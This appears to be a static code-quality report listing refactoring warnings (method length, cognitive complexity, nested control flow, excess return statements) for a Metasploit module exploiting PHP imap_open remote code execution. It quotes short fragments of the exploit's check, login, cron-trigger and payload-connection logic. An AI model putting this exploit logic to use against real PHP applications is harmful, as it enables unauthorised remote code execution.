Method exploit has 329 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def exploit
    if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({'uri' => uri})
      if res && res.code != 301

Method exploit has a Cognitive Complexity of 59 (exceeds 5 allowed). Consider refactoring.

Open

  def exploit
    if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({'uri' => uri})
      if res && res.code != 301

• Read up
  Read up

File php_imap_open_rce.rb has 440 lines of code (exceeds 250 allowed). Consider refactoring.

Open

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

Method check has a Cognitive Complexity of 22 (exceeds 5 allowed). Consider refactoring.

Open

  def check
    if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({'uri' => uri})
      if res && (res.code == 301 || res.code == 302)

• Read up
  Read up

Method initialize has 56 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'php imap_open Remote Code Execution',
      'Description'     => %q{
        The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an

Method check has 40 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def check
    if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({'uri' => uri})
      if res && (res.code == 301 || res.code == 302)

Avoid deeply nested control flow statements.

Open

      if res.body.include? 'Status: <b>Disabled</b>'
        print_error('Cron disabled, unexploitable.')
        return
      end

Avoid deeply nested control flow statements.

Open

      unless res
        print_error('Error loading site.  Check options.')
        return
      end

Avoid deeply nested control flow statements.

Open

      if /name='e-token' value='(?<etoken>\w{32})'/ =~ res.body && /_system::procEmailBounce.+?cron_execute\[(?<cron_id>\d)\]/m =~ res.body
        print_good("Triggering manual run of mail bounch check cron to execute payload with cron id #{cron_id} and etoken #{etoken}")
        # The post request has several duplicate columns, however all were not required.  Left them commented for documentation purposes
        send_request_cgi(
          'method' => 'POST',

Avoid deeply nested control flow statements.

Open

        if Rex::Version.new(phpversion) < Rex::Version.new('5.6.39')
          vprint_good("PHP Version #{phpversion} is vulnerable")
          return CheckCode::Appears
        else
          vprint_bad("PHP Version #{phpversion} is NOT vulnerable, patched in 5.6.39.")

Avoid deeply nested control flow statements.

Open

      if res.code == 302
        cookie = res.get_cookies
        print_good('Login Success')
      else
        print_error('Failed Login, check options.')

Avoid deeply nested control flow statements.

Open

      unless res
        print_error('Error loading site.  Check options.')
        return
      end

Avoid deeply nested control flow statements.

Open

      unless res
        print_error('Error loading site.  Check options.')
        return
      end

Avoid deeply nested control flow statements.

Open

    elsif target.name =~ /custom/
      print_status('Listener started for 300 seconds')
      print_good("POST request connection string: x #{command}}")
      # URI.encode leaves + as + since that's a space encoded.  So we manually change it.
      print_good("GET request connection string: #{URI::DEFAULT_PARSER.escape("x " + command + "}").sub! '+', '%2B'}")

Avoid too many return statements within this method.

Open

        return

Avoid too many return statements within this method.

Open

        return

Avoid too many return statements within this method.

Open

        return

Avoid too many return statements within this method.

Open

        return

Avoid too many return statements within this method.

Open

        return

Avoid too many return statements within this method.

Open

        return

Avoid too many return statements within this method.

Open

        return

Avoid too many return statements within this method.

Open

          return CheckCode::Appears

Avoid too many return statements within this method.

Open

        return

Avoid too many return statements within this method.

Open

        return